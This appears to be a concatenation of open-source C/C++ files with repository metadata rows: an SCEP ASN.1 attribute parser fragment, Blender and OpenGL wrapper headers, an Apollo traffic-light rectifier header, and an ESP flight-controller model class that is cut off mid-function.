qeo_log_i("allocating %d bytes for attribute", len);
}
if (type == V_ASN1_PRINTABLESTRING) {
*buffer = (char *)malloc(len + 1);
}
else {
*buffer = (char *)malloc(len);
}
if (*buffer == NULL ) {
qeo_log_e("cannot malloc space for attribute");
goto error;
}
memcpy(*buffer, ASN1_STRING_data(asn1_type->value.asn1_string), len);
/* Add null terminator if it's a PrintableString */
if (type == V_ASN1_PRINTABLESTRING) {
(*buffer)[len] = 0;
}
return (0);
error:
return 1;
}
int get_attribute(STACK_OF(X509_ATTRIBUTE) *attribs, int required_nid, ASN1_TYPE **asn1_type, struct sscep_ctx *ctx)
{
int i;
ASN1_OBJECT *asn1_obj = NULL;
X509_ATTRIBUTE *x509_attrib = NULL;
if (ctx->verbose){
qeo_log_i("finding attribute %s", OBJ_nid2sn(required_nid));
}
*asn1_type = NULL;
asn1_obj = OBJ_nid2obj(required_nid);
if (asn1_obj == NULL ) {
qeo_log_e("error creating ASN.1 object");
goto error;
}
/* Find attribute */
for (i = 0; i < sk_X509_ATTRIBUTE_num(attribs); i++) {
x509_attrib = sk_X509_ATTRIBUTE_value(attribs, i);
if (OBJ_cmp(x509_attrib->object, asn1_obj) == 0) {
if ((x509_attrib->value.set) && (sk_ASN1_TYPE_num(x509_attrib->value.set) != 0)) {
if (*asn1_type != NULL ) {
qeo_log_e("no value found");
goto error;
}
*asn1_type = sk_ASN1_TYPE_value(x509_attrib->value.set, 0);
}
}
}
if (*asn1_type == NULL )
goto error;
return (0);
error:
return 1;
}
| 30.226471 | 118 | 0.599737 | [
"object"
] |
64be7b18cb86d22ed4f45a9472aa89b81680d2d2 | 2,682 | h | C | intern/boolop/intern/BOP_Merge.h | wycivil08/blendocv | f6cce83e1f149fef39afa8043aade9c64378f33e | [
"Unlicense"
] | 30 | 2015-01-29T14:06:05.000Z | 2022-01-10T07:47:29.000Z | intern/boolop/intern/BOP_Merge.h | ttagu99/blendocv | f6cce83e1f149fef39afa8043aade9c64378f33e | [
"Unlicense"
] | 1 | 2017-02-20T20:57:48.000Z | 2018-12-19T23:44:38.000Z | intern/boolop/intern/BOP_Merge.h | ttagu99/blendocv | f6cce83e1f149fef39afa8043aade9c64378f33e | [
"Unlicense"
] | 15 | 2015-04-23T02:38:36.000Z | 2021-03-01T20:09:39.000Z | /*
* ***** BEGIN GPL LICENSE BLOCK *****
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* The Original Code is Copyright (C) 2001-2002 by NaN Holding BV.
* All rights reserved.
*
* The Original Code is: all of this file.
*
* Contributor(s): none yet.
*
* ***** END GPL LICENSE BLOCK *****
*/
/** \file boolop/intern/BOP_Merge.h
* \ingroup boolopintern
*/
#ifndef BOP_MERGE_H
#define BOP_MERGE_H
#include "BOP_Misc.h"
#ifdef BOP_ORIG_MERGE
#include "BOP_Mesh.h"
#include "BOP_Tag.h"
#include "BOP_MathUtils.h"
#include "MEM_SmartPtr.h"
typedef vector< BOP_Faces > BOP_LFaces;
typedef vector< BOP_Faces >::iterator BOP_IT_LFaces;
class BOP_Merge {
private:
BOP_Mesh* m_mesh;
BOP_Index m_firstVertex;
static BOP_Merge SINGLETON;
BOP_Merge() {};
bool mergeFaces();
bool mergeFaces(BOP_Indexs &mergeVertices);
bool mergeFaces(BOP_Faces &oldFaces, BOP_Faces &newFaces, BOP_Indexs &vertices, BOP_Index v);
bool mergeFaces(BOP_Faces &faces, BOP_Faces &oldFaces, BOP_Faces &newFaces, BOP_Indexs &vertices, BOP_Index v);
BOP_Face *mergeFaces(BOP_Face *faceI, BOP_Face *faceJ, BOP_Index v);
BOP_Face *mergeFaces(BOP_Face *faceI, BOP_Face *faceJ, BOP_Indexs &pending, BOP_Index v);
BOP_Face *mergeFaces(BOP_Face3 *faceI, BOP_Face3 *faceJ, BOP_Index v);
BOP_Face *mergeFaces(BOP_Face4 *faceI, BOP_Face3 *faceJ, BOP_Index v);
BOP_Face *mergeFaces(BOP_Face4 *faceI, BOP_Face3 *faceJ, BOP_Indexs &pending, BOP_Index v);
BOP_Face *mergeFaces(BOP_Face4 *faceI, BOP_Face4 *faceJ, BOP_Indexs &pending, BOP_Index v);
bool createQuads();
BOP_Face *createQuad(BOP_Face3 *faceI, BOP_Face3 *faceJ, BOP_Index v);
bool containsIndex(BOP_Indexs indexs, BOP_Index index);
void getFaces(BOP_LFaces &facesByOriginalFace, BOP_Index v);
void getFaces(BOP_LFaces &facesByOriginalFace, BOP_Indexs vertices, BOP_Index v);
public:
static BOP_Merge &getInstance() {
return SINGLETON;
}
void mergeFaces(BOP_Mesh *m, BOP_Index v);
};
#endif /* BOP_ORIG_MERGE */
#endif
| 32.707317 | 113 | 0.741611 | [
"vector"
] |
d3a2eb18935a1c95d5dcadda780f5b8be17a799c | 5,724 | h | C | 3rdParty/vcglib/wrap/glw/object.h | TonyGauss/tg3DLib | d425e91567b9e1642e7411330738d8e2b0880a2b | [
"MIT"
] | 7 | 2016-12-07T11:52:07.000Z | 2022-02-18T09:25:55.000Z | 3rdParty/vcglib/wrap/glw/object.h | TonyGauss/tg3DLib | d425e91567b9e1642e7411330738d8e2b0880a2b | [
"MIT"
] | 2 | 2018-10-22T12:46:22.000Z | 2019-11-19T13:17:35.000Z | 3rdParty/vcglib/wrap/glw/object.h | TonyGauss/tg3DLib | d425e91567b9e1642e7411330738d8e2b0880a2b | [
"MIT"
] | 17 | 2015-11-24T17:04:46.000Z | 2020-12-20T12:56:38.000Z | #ifndef GLW_OBJECT_H
#define GLW_OBJECT_H
#include "./bookkeeping.h"
#include "./noncopyable.h"
#include "./objectdeleter.h"
#include "./type.h"
#include "./glheaders.h"
namespace glw
{
class Context;
class ObjectArguments
{
public:
typedef void BaseType;
typedef ObjectArguments ThisType;
ObjectArguments(void)
{
;
}
void clear(void)
{
;
}
};
class Object : public detail::NonCopyable
{
friend class Context;
public:
typedef detail::NonCopyable BaseType;
typedef Object ThisType;
virtual ~Object(void)
{
this->destroy();
}
bool isValid(void) const
{
return ((this->m_name != 0) && this->doIsValid());
}
const Context * context(void) const
{
return this->m_context;
}
Context * context(void)
{
return this->m_context;
}
GLuint name(void) const
{
return this->m_name;
}
virtual Type type(void) const = 0;
protected:
GLuint m_name;
Context * m_context;
Object(Context * ctx)
: m_name (0)
, m_context (ctx)
{
;
}
void destroy(void)
{
if (this->m_name == 0) return;
this->doDestroy();
this->m_name = 0;
this->m_context = 0;
}
virtual void doDestroy(void) = 0;
virtual bool doIsValid(void) const = 0;
};
namespace detail { template <typename T> struct ObjectBase { typedef NoType Type; }; };
namespace detail { template <typename T> struct ObjectSafe { typedef NoType Type; }; };
namespace detail { template <typename T> struct ObjectBound { typedef NoType Type; }; };
namespace detail { template <> struct BaseOf <Object> { typedef NoType Type; }; };
namespace detail { template <> struct DeleterOf <Object> { typedef ObjectDeleter Type; }; };
typedef detail::ObjectSharedPointerTraits <Object> ::Type ObjectPtr;
class SafeObject : public detail::NonCopyable
{
friend class Context;
friend class BoundObject;
public:
typedef detail::NonCopyable BaseType;
typedef SafeObject ThisType;
SafeObject(void)
: m_object(0)
{
;
}
virtual ~SafeObject(void)
{
;
}
bool isNull(void) const
{
return this->m_object.isNull();
}
bool isValid(void) const
{
return this->m_object->isValid();
}
const Context * context(void) const
{
if (this->isNull()) return 0;
return this->m_object->context();
}
Context * context(void)
{
if (this->isNull()) return 0;
return this->m_object->context();
}
GLuint name(void) const
{
if (this->isNull()) return 0;
return this->m_object->name();
}
Type type(void) const
{
if (this->isNull()) return InvalidType;
return this->m_object->type();
}
protected:
SafeObject(const ObjectPtr & object)
: m_object(object)
{
;
}
const ObjectPtr & object(void) const
{
return this->m_object;
}
ObjectPtr & object(void)
{
return this->m_object;
}
private:
ObjectPtr m_object;
};
namespace detail { template <> struct BaseOf <SafeObject> { typedef NoType Type; }; };
namespace detail { template <> struct DeleterOf <SafeObject> { typedef DefaultDeleter<SafeObject> Type; }; };
namespace detail { template <> struct ObjectBase <SafeObject> { typedef Object Type; }; };
namespace detail { template <> struct ObjectSafe <Object > { typedef SafeObject Type; }; };
typedef detail::ObjectSharedPointerTraits <SafeObject> ::Type ObjectHandle;
class ObjectBindingParams
{
public:
typedef void BaseType;
typedef ObjectBindingParams ThisType;
GLenum target;
GLint unit;
ObjectBindingParams(void)
: target (GL_NONE)
, unit (0)
{
;
}
ObjectBindingParams(GLenum aTarget, GLenum aUnit)
: target (aTarget)
, unit (aUnit)
{
;
}
};
class BoundObject : public detail::NonCopyable
{
friend class Context;
public:
typedef detail::NonCopyable BaseType;
typedef BoundObject ThisType;
BoundObject(void)
: m_handle (0)
, m_target (GL_NONE)
, m_unit (0)
{
;
}
virtual ~BoundObject(void)
{
;
}
bool isNull(void) const
{
return this->m_handle.isNull();
}
const ObjectHandle & handle(void) const
{
return this->m_handle;
}
ObjectHandle & handle(void)
{
return this->m_handle;
}
GLenum target(void) const
{
return this->m_target;
}
GLint unit(void) const
{
return this->m_unit;
}
protected:
ObjectHandle m_handle;
GLenum m_target;
GLint m_unit;
BoundObject(const ObjectHandle & handle, const ObjectBindingParams & params)
: m_handle (handle)
, m_target (params.target)
, m_unit (params.unit)
{
;
}
const ObjectPtr & object(void) const
{
return this->handle()->object();
}
ObjectPtr & object(void)
{
return this->handle()->object();
}
virtual void bind (void) = 0;
virtual void unbind (void) = 0;
};
namespace detail { template <typename T> struct ParamsOf { typedef NoType Type; }; };
namespace detail { template <> struct ParamsOf <BoundObject> { typedef ObjectBindingParams Type; }; };
namespace detail { template <> struct BaseOf <BoundObject> { typedef NoType Type; }; };
namespace detail { template <> struct DeleterOf <BoundObject> { typedef DefaultDeleter<BoundObject> Type; }; };
namespace detail { template <> struct ObjectBase <BoundObject> { typedef Object Type; }; };
namespace detail { template <> struct ObjectBound <Object > { typedef BoundObject Type; }; };
typedef detail::ObjectSharedPointerTraits <BoundObject> ::Type BoundObjectHandle;
};
#endif // GLW_OBJECT_H
| 19.272727 | 113 | 0.6326 | [
"object"
] |
d3ae4c269f16d9e1e7c0d6c78b98be673053a2d2 | 2,337 | h | C | modules/perception/traffic_light/rectify/unity_rectify.h | BaiduXLab/apollo | 2764e934b6d0da1342be781447348288ac84c5e9 | [
"Apache-2.0"
] | 4 | 2019-05-27T08:35:38.000Z | 2020-06-01T10:34:47.000Z | modules/perception/traffic_light/rectify/unity_rectify.h | BaiduXLab/apollo | 2764e934b6d0da1342be781447348288ac84c5e9 | [
"Apache-2.0"
] | 5 | 2020-06-13T00:36:33.000Z | 2022-02-10T17:50:43.000Z | modules/perception/traffic_light/rectify/unity_rectify.h | BaiduXLab/apollo | 2764e934b6d0da1342be781447348288ac84c5e9 | [
"Apache-2.0"
] | 5 | 2019-07-01T00:29:04.000Z | 2021-03-12T03:03:20.000Z | /******************************************************************************
* Copyright 2017 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#ifndef MODULES_PERCEPTION_TRAFFIC_LIGHT_RECTIFY_UNITY_RECTIFY_H_
#define MODULES_PERCEPTION_TRAFFIC_LIGHT_RECTIFY_UNITY_RECTIFY_H_
#include <memory>
#include <string>
#include <vector>
#include "modules/perception/proto/traffic_light/rectifier_config.pb.h"
#include "modules/perception/traffic_light/interface/base_rectifier.h"
#include "modules/perception/traffic_light/interface/green_interface.h"
namespace apollo {
namespace perception {
namespace traffic_light {
/**
* @class UnityRectify
* @brief Rectifier receives the Region of lights from HD-Map,
* While the region may be too large or not accuray.
* Rectifier should rectify the region,
* send the accuray regions to classifier.
*/
class UnityRectify : public BaseRectifier {
public:
UnityRectify() = default;
bool Init() override;
/**
* @brief: rectify light region from image or part of it
* @param const Image&: input image
* @param const RectifyOption&: rectify options
* @param Lights
* @return bool
*/
bool Rectify(const Image &image, const RectifyOption &option,
std::vector<LightPtr> *lights) override;
std::string name() const override;
private:
std::shared_ptr<IRefine> detect_;
std::shared_ptr<IGetBox> crop_;
std::shared_ptr<ISelectLight> select_;
traffic_light::rectifier_config::ModelConfigs config_;
};
REGISTER_RECTIFIER(UnityRectify);
} // namespace traffic_light
} // namespace perception
} // namespace apollo
#endif // MODULES_PERCEPTION_TRAFFIC_LIGHT_RECTIFY_UNITY_RECTIFY_H_
| 32.458333 | 79 | 0.697903 | [
"vector"
] |
d3b73805e0fc645401bae5a35cf0941930a77824 | 19,181 | h | C | lib/Espfc/src/Model.h | shanggl/esp-fc | 59d8f8664ab73f33562a54982cdeab0eaf85fe36 | [
"MIT"
] | 39 | 2018-02-25T09:50:13.000Z | 2022-03-21T08:42:06.000Z | lib/Espfc/src/Model.h | shanggl/esp-fc | 59d8f8664ab73f33562a54982cdeab0eaf85fe36 | [
"MIT"
] | 9 | 2018-04-25T16:14:37.000Z | 2021-07-13T08:12:14.000Z | lib/Espfc/src/Model.h | shanggl/esp-fc | 59d8f8664ab73f33562a54982cdeab0eaf85fe36 | [
"MIT"
] | 17 | 2018-05-14T03:32:13.000Z | 2022-02-17T15:53:07.000Z | #ifndef _ESPFC_MODEL_H_
#define _ESPFC_MODEL_H_
#include <cstddef>
#include <cstdint>
#include <EspGpio.h>
#include <EscDriver.h>
#include <Hal.h>
#include "Debug.h"
#include "ModelConfig.h"
#include "ModelState.h"
#include "Storage.h"
#include "Logger.h"
#include "Math/Utils.h"
#if defined(ESP8266)
#define ESPFC_GUARD 1
#else
#define ESPFC_GUARD 0
#endif
namespace Espfc {
class Model
{
public:
Model()
{
initialize();
}
void initialize()
{
config = ModelConfig();
#ifdef UNIT_TEST
state = ModelState(); // FIXME: causes board wdt reset
#endif
//config.brobot();
}
/**
* @deprecated use isModeActive
*/
bool isActive(FlightMode mode) const
{
return isModeActive(mode);
}
bool isModeActive(FlightMode mode) const
{
return state.modeMask & (1 << mode);
}
bool hasChanged(FlightMode mode) const
{
return (state.modeMask & (1 << mode)) != (state.modeMaskPrev & (1 << mode));
}
void clearMode(FlightMode mode)
{
state.modeMaskPrev |= state.modeMask & (1 << mode);
state.modeMask &= ~(1 << mode);
}
void updateModes(uint32_t mask)
{
state.modeMaskPrev = state.modeMask;
state.modeMask = mask;
}
bool isSwitchActive(FlightMode mode) const
{
return state.modeMaskSwitch & (1 << mode);
}
void updateSwitchActive(uint32_t mask)
{
state.modeMaskSwitch = mask;
}
void disarm()
{
clearMode(MODE_ARMED);
clearMode(MODE_AIRMODE);
}
/**
* @deprecated use isFeatureActive
*/
bool isActive(Feature feature) const
{
return isFeatureActive(feature);
}
bool isFeatureActive(Feature feature) const
{
return config.featureMask & feature;
}
bool isAirModeActive() const
{
return isActive(MODE_AIRMODE);// || isActive(FEATURE_AIRMODE);
}
bool isThrottleLow() const
{
return state.inputUs[AXIS_THRUST] < config.input.minCheck;
}
bool blackboxEnabled() const
{
return config.blackboxDev == 3 && config.blackboxPdenom > 0;
}
bool gyroActive() const ICACHE_RAM_ATTR
{
return state.gyroPresent && config.gyroDev != GYRO_NONE;
}
bool accelActive() const
{
return state.accelPresent && config.accelDev != GYRO_NONE;
}
bool magActive() const
{
return state.magPresent && config.magDev != MAG_NONE;
}
bool baroActive() const
{
return state.baroPresent && config.baroDev != BARO_NONE;
}
bool calibrationActive() const
{
return state.accelCalibrationState != CALIBRATION_IDLE || state.gyroCalibrationState != CALIBRATION_IDLE || state.magCalibrationState != CALIBRATION_IDLE;
}
void calibrateGyro()
{
state.gyroCalibrationState = CALIBRATION_START;
if(accelActive())
{
state.accelCalibrationState = CALIBRATION_START;
}
}
void calibrateMag()
{
state.magCalibrationState = CALIBRATION_START;
}
void finishCalibration()
{
if(state.gyroCalibrationState == CALIBRATION_SAVE)
{
save();
state.buzzer.push(BEEPER_GYRO_CALIBRATED);
logger.info().log(F("GYRO BIAS")).log(degrees(state.gyroBias.x)).log(degrees(state.gyroBias.y)).logln(degrees(state.gyroBias.z));
}
if(state.accelCalibrationState == CALIBRATION_SAVE)
{
save();
logger.info().log(F("ACCEL BIAS")).log(state.accelBias.x).log(state.accelBias.y).logln(state.accelBias.z);
}
if(state.magCalibrationState == CALIBRATION_SAVE)
{
save();
logger.info().log(F("MAG BIAS")).log(state.magCalibrationOffset.x).log(state.magCalibrationOffset.y).logln(state.magCalibrationOffset.z);
logger.info().log(F("MAG SCALE")).log(state.magCalibrationScale.x).log(state.magCalibrationScale.y).logln(state.magCalibrationScale.z);
}
}
bool armingDisabled() const ICACHE_RAM_ATTR
{
return state.armingDisabledFlags != 0;
}
void setArmingDisabled(ArmingDisabledFlags flag, bool value)
{
if(value) state.armingDisabledFlags |= flag;
else state.armingDisabledFlags &= ~flag;
}
Device::SerialDevice * getSerialStream(SerialPort i)
{
return state.serial[i].stream;
}
Device::SerialDevice * getSerialStream(SerialFunction sf)
{
for(size_t i = 0; i < SERIAL_UART_COUNT; i++)
{
if(config.serial[i].functionMask & sf) return state.serial[i].stream;
}
return nullptr;
}
int getSerialIndex(SerialPortId id)
{
switch(id)
{
case SERIAL_ID_UART_1: return SERIAL_UART_0;
case SERIAL_ID_UART_2: return SERIAL_UART_1;
#if defined(ESP32)
case SERIAL_ID_UART_3: return SERIAL_UART_2;
case SERIAL_ID_SOFTSERIAL_1: return SERIAL_SOFT_0;
#elif defined(ESP8266)
case SERIAL_ID_SOFTSERIAL_1: return SERIAL_SOFT_0;
#endif
default: break;
}
return -1;
}
uint16_t getRssi() const
{
size_t channel = config.input.rssiChannel;
if(channel < 4 || channel > state.inputChannelCount) return 0;
float value = state.input[channel - 1];
return Math::clamp(lrintf(Math::map(value, -1.0f, 1.0f, 0, 1023)), 0l, 1023l);
}
void begin()
{
logger.begin();
#ifndef UNIT_TEST
_storage.begin();
#endif
load();
sanitize();
}
void sanitize()
{
int gyroSyncMax = 1; // max 8kHz
#if defined(ESP8266)
gyroSyncMax = 4; // max 2khz
#endif
//if(config.accelDev != GYRO_NONE) gyroSyncMax /= 2;
//if(config.magDev != MAG_NONE || config.baroDev != BARO_NONE) gyroSyncMax /= 2;
config.gyroSync = std::max((int)config.gyroSync, gyroSyncMax);
switch(config.gyroDlpf)
{
case GYRO_DLPF_256:
case GYRO_DLPF_EX:
state.gyroClock = 8000;
state.gyroRate = 8000 / config.gyroSync;
state.gyroDivider = (state.gyroClock / (state.gyroRate + 1)) + 1;
break;
default:
config.gyroSync = ((config.gyroSync + 7) / 8) * 8; // multiply 8x and round (BF GUI uses this convention)
state.gyroClock = 1000;
state.gyroRate = 8000 / config.gyroSync;
state.gyroDivider = (state.gyroClock / (state.gyroRate + 1)) + 1;
break;
}
state.loopRate = state.gyroRate / config.loopSync;
config.output.protocol = ESC_PROTOCOL_SANITIZE(config.output.protocol);
switch(config.output.protocol)
{
case ESC_PROTOCOL_BRUSHED:
config.output.async = true;
break;
case ESC_PROTOCOL_DSHOT150:
case ESC_PROTOCOL_DSHOT300:
case ESC_PROTOCOL_DSHOT600:
//case ESC_PROTOCOL_DSHOT1200:
case ESC_PROTOCOL_PROSHOT:
config.output.async = false;
break;
}
if(config.output.async)
{
// for async limit pwm rate
switch(config.output.protocol)
{
case ESC_PROTOCOL_PWM:
config.output.rate = constrain(config.output.rate, 50, 480);
break;
case ESC_PROTOCOL_ONESHOT125:
config.output.rate = constrain(config.output.rate, 50, 2000);
break;
case ESC_PROTOCOL_ONESHOT42:
config.output.rate = constrain(config.output.rate, 50, 4000);
break;
case ESC_PROTOCOL_BRUSHED:
case ESC_PROTOCOL_MULTISHOT:
config.output.rate = constrain(config.output.rate, 50, 8000);
break;
default:
config.output.rate = constrain(config.output.rate, 50, 2000);
break;
}
}
else
{
// for synced and standard PWM limit loop rate and pwm pulse width
if(config.output.protocol == ESC_PROTOCOL_PWM && state.loopRate > 500)
{
config.loopSync = std::max(config.loopSync, (int8_t)((state.loopRate + 499) / 500)); // align loop rate to lower than 500Hz
state.loopRate = state.gyroRate / config.loopSync;
if(state.loopRate > 480 && config.output.maxThrottle > 1940)
{
config.output.maxThrottle = 1940;
}
}
// for onshot125 limit loop rate to 2kHz
if(config.output.protocol == ESC_PROTOCOL_ONESHOT125 && state.loopRate > 2000)
{
config.loopSync = std::max(config.loopSync, (int8_t)((state.loopRate + 1999) / 2000)); // align loop rate to lower than 2000Hz
state.loopRate = state.gyroRate / config.loopSync;
}
}
// sanitize throttle and motor limits
if(config.output.throttleLimitType < 0 || config.output.throttleLimitType >= THROTTLE_LIMIT_TYPE_MAX) {
config.output.throttleLimitType = THROTTLE_LIMIT_TYPE_NONE;
}
if(config.output.throttleLimitPercent < 1 || config.output.throttleLimitPercent > 100) {
config.output.throttleLimitPercent = 100;
}
if(config.output.motorLimit < 1 || config.output.motorLimit > 100) {
config.output.motorLimit = 100;
}
// configure serial ports
uint32_t serialFunctionAllowedMask = SERIAL_FUNCTION_MSP | SERIAL_FUNCTION_BLACKBOX | SERIAL_FUNCTION_TELEMETRY_FRSKY | SERIAL_FUNCTION_TELEMETRY_HOTT;
uint32_t featureAllowMask = FEATURE_RX_PPM | FEATURE_MOTOR_STOP | FEATURE_TELEMETRY;// | FEATURE_AIRMODE;
// allow dynamic filter only above 1k sampling rate
if(state.gyroRate >= 1000)
{
featureAllowMask |= FEATURE_DYNAMIC_FILTER;
}
if(config.softSerialGuard || !ESPFC_GUARD)
{
featureAllowMask |= FEATURE_SOFTSERIAL;
}
if(config.serialRxGuard || !ESPFC_GUARD)
{
featureAllowMask |= FEATURE_RX_SERIAL;
serialFunctionAllowedMask |= SERIAL_FUNCTION_RX_SERIAL;
}
config.featureMask &= featureAllowMask;
#if defined(ESP32)
config.serial[SERIAL_UART_0].functionMask &= serialFunctionAllowedMask;
config.serial[SERIAL_UART_1].functionMask &= serialFunctionAllowedMask;
config.serial[SERIAL_UART_2].functionMask &= serialFunctionAllowedMask;
config.serial[SERIAL_SOFT_0].functionMask &= serialFunctionAllowedMask & ~FEATURE_RX_SERIAL;
#elif defined(ESP8266)
config.serial[SERIAL_UART_0].functionMask &= serialFunctionAllowedMask;
config.serial[SERIAL_UART_1].functionMask &= serialFunctionAllowedMask;
config.serial[SERIAL_SOFT_0].functionMask &= serialFunctionAllowedMask;
//config.serial[SERIAL_SOFT_0].functionMask &= ~SERIAL_FUNCTION_RX_SERIAL; // disallow
//config.serial[SERIAL_SOFT_0].functionMask |= SERIAL_FUNCTION_RX_SERIAL; // force
#endif
//config.featureMask |= FEATURE_RX_PPM; // force ppm
//config.featureMask &= ~FEATURE_RX_PPM; // disallow ppm
config.serial[SERIAL_UART_0].functionMask |= SERIAL_FUNCTION_MSP; // msp always enabled on uart0
// only few beeper modes allowed
config.buzzer.beeperMask &=
1 << (BEEPER_GYRO_CALIBRATED - 1) |
1 << (BEEPER_SYSTEM_INIT - 1) |
1 << (BEEPER_RX_LOST - 1) |
1 << (BEEPER_RX_SET - 1) |
1 << (BEEPER_DISARMING - 1) |
1 << (BEEPER_ARMING - 1) |
1 << (BEEPER_BAT_LOW - 1);
}
void update()
{
// init timers
// sample rate = clock / ( divider + 1)
state.gyroTimer.setRate(state.gyroRate);
state.accelTimer.setRate(constrain(state.gyroTimer.rate, 100, 500));
state.accelTimer.setInterval(state.accelTimer.interval - 10);
//state.accelTimer.setRate(state.gyroTimer.rate, 2);
state.loopTimer.setRate(state.gyroTimer.rate, config.loopSync);
state.mixerTimer.setRate(state.loopTimer.rate, config.mixerSync);
state.actuatorTimer.setRate(25); // 25 hz
state.dynamicFilterTimer.setRate(50);
state.telemetryTimer.setInterval(config.telemetryInterval * 1000);
state.stats.timer.setRate(10);
state.serialTimer.setRate(1000);
if(magActive())
{
state.magTimer.setRate(state.magRate);
}
// configure filters
for(size_t i = 0; i <= AXIS_YAW; i++)
{
state.gyroAnalyzer[i].begin(state.gyroTimer.rate, config.dynamicFilter);
if(isActive(FEATURE_DYNAMIC_FILTER)) {
state.gyroDynamicFilter[i].begin(FilterConfig(FILTER_NOTCH_DF1, 400, 300), state.gyroTimer.rate);
if(config.dynamicFilter.width > 0) {
state.gyroDynamicFilter2[i].begin(FilterConfig(FILTER_NOTCH_DF1, 400, 300), state.gyroTimer.rate);
}
}
state.gyroNotch1Filter[i].begin(config.gyroNotch1Filter, state.gyroTimer.rate);
state.gyroNotch2Filter[i].begin(config.gyroNotch2Filter, state.gyroTimer.rate);
if(config.gyroDynLpfFilter.cutoff > 0) {
state.gyroFilter[i].begin(FilterConfig((FilterType)config.gyroFilter.type, config.gyroDynLpfFilter.cutoff), state.gyroTimer.rate);
} else {
state.gyroFilter[i].begin(config.gyroFilter, state.gyroTimer.rate);
}
state.gyroFilter2[i].begin(config.gyroFilter2, state.gyroTimer.rate);
state.gyroFilter3[i].begin(config.gyroFilter3, state.gyroTimer.rate);
state.accelFilter[i].begin(config.accelFilter, state.accelTimer.rate);
state.gyroFilterImu[i].begin(FilterConfig(FILTER_PT1, state.accelTimer.rate / 2), state.gyroTimer.rate);
if(magActive())
{
state.magFilter[i].begin(config.magFilter, state.magTimer.rate);
}
}
for(size_t i = 0; i < 4; i++)
{
state.inputFilter[i].begin(FilterConfig(FILTER_PT1, 30), state.gyroTimer.rate);
}
// ensure disarmed pulses
for(size_t i = 0; i < OUTPUT_CHANNELS; i++)
{
state.outputDisarmed[i] = config.output.channel[i].servo ? config.output.channel[i].neutral : config.output.minCommand; // ROBOT
}
state.buzzer.beeperMask = config.buzzer.beeperMask;
// configure PIDs
float pidScale[] = { 1.f, 1.f, 1.f };
if(config.mixerType == MIXER_GIMBAL)
{
pidScale[AXIS_YAW] = 0.2f; // ROBOT
pidScale[AXIS_PITCH] = 20.f; // ROBOT
}
for(size_t i = 0; i <= AXIS_YAW; i++) // rpy
{
const PidConfig& pc = config.pid[i];
Pid& pid = state.innerPid[i];
pid.Kp = (float)pc.P * PTERM_SCALE * pidScale[i];
pid.Ki = (float)pc.I * ITERM_SCALE * pidScale[i];
pid.Kd = (float)pc.D * DTERM_SCALE * pidScale[i];
pid.Kf = (float)pc.F * FTERM_SCALE * pidScale[i];
pid.iLimit = 0.15f;
pid.oLimit = 0.5f;
pid.rate = state.loopTimer.rate;
pid.dtermNotchFilter.begin(config.dtermNotchFilter, state.loopTimer.rate);
if(config.dtermDynLpfFilter.cutoff > 0) {
pid.dtermFilter.begin(FilterConfig((FilterType)config.dtermFilter.type, config.dtermDynLpfFilter.cutoff), state.loopTimer.rate);
} else {
pid.dtermFilter.begin(config.dtermFilter, state.loopTimer.rate);
}
pid.dtermFilter2.begin(config.dtermFilter2, state.loopTimer.rate);
pid.ftermFilter.begin(FilterConfig(FILTER_PT1, 20), state.loopTimer.rate);
if(i == AXIS_YAW) pid.ptermFilter.begin(config.yawFilter, state.loopTimer.rate);
pid.begin();
}
for(size_t i = 0; i < AXIS_YAW; i++)
{
PidConfig& pc = config.pid[PID_LEVEL];
Pid& pid = state.outerPid[i];
pid.Kp = (float)pc.P * LEVEL_PTERM_SCALE;
pid.Ki = (float)pc.I * LEVEL_ITERM_SCALE;
pid.Kd = (float)pc.D * LEVEL_DTERM_SCALE;
pid.Kf = (float)pc.F * LEVEL_FTERM_SCALE;
pid.iLimit = Math::toRad(config.angleRateLimit) * 0.1f;
pid.oLimit = Math::toRad(config.angleRateLimit);
pid.rate = state.loopTimer.rate;
pid.ptermFilter.begin(config.levelPtermFilter, state.loopTimer.rate);
//pid.iLimit = 0.3f; // ROBOT
//pid.oLimit = 1.f; // ROBOT
pid.begin();
}
state.customMixer = MixerConfig(config.customMixerCount, config.customMixes);
//config.scaler[0].dimension = (ScalerDimension)(ACT_INNER_P | ACT_AXIS_PITCH); // ROBOT
//config.scaler[1].dimension = (ScalerDimension)(ACT_INNER_P | ACT_AXIS_YAW); // ROBOT
//config.scaler[1].dimension = (ScalerDimension)(ACT_INNER_I | ACT_AXIS_PITCH); // ROBOT
//config.scaler[2].dimension = (ScalerDimension)(ACT_INNER_D | ACT_AXIS_PITCH); // ROBOT
//config.scaler[0].dimension = (ScalerDimension)(ACT_OUTER_P | ACT_AXIS_PITCH); // ROBOT
//config.scaler[1].dimension = (ScalerDimension)(ACT_OUTER_I | ACT_AXIS_PITCH); // ROBOT
//config.scaler[1].dimension = (ScalerDimension)(ACT_INNER_I | ACT_AXIS_YAW | ACT_AXIS_ROLL | ACT_AXIS_PITCH);
state.telemetry = config.telemetry;
state.baroAlititudeBiasSamples = 200;
// override temporary
//state.telemetry = true;
//state.telemetryTimer.setRate(100);
}
void postLoad()
{
// load current sensor calibration
for(size_t i = 0; i <= AXIS_YAW; i++)
{
state.gyroBias.set(i, config.gyroBias[i] / 1000.0f);
state.accelBias.set(i, config.accelBias[i] / 1000.0f);
state.magCalibrationOffset.set(i, config.magCalibrationOffset[i] / 10.0f);
state.magCalibrationScale.set(i, config.magCalibrationScale[i] / 1000.0f);
}
}
void preSave()
{
// store current sensor calibration
for(size_t i = 0; i < 3; i++)
{
config.gyroBias[i] = lrintf(state.gyroBias[i] * 1000.0f);
config.accelBias[i] = lrintf(state.accelBias[i] * 1000.0f);
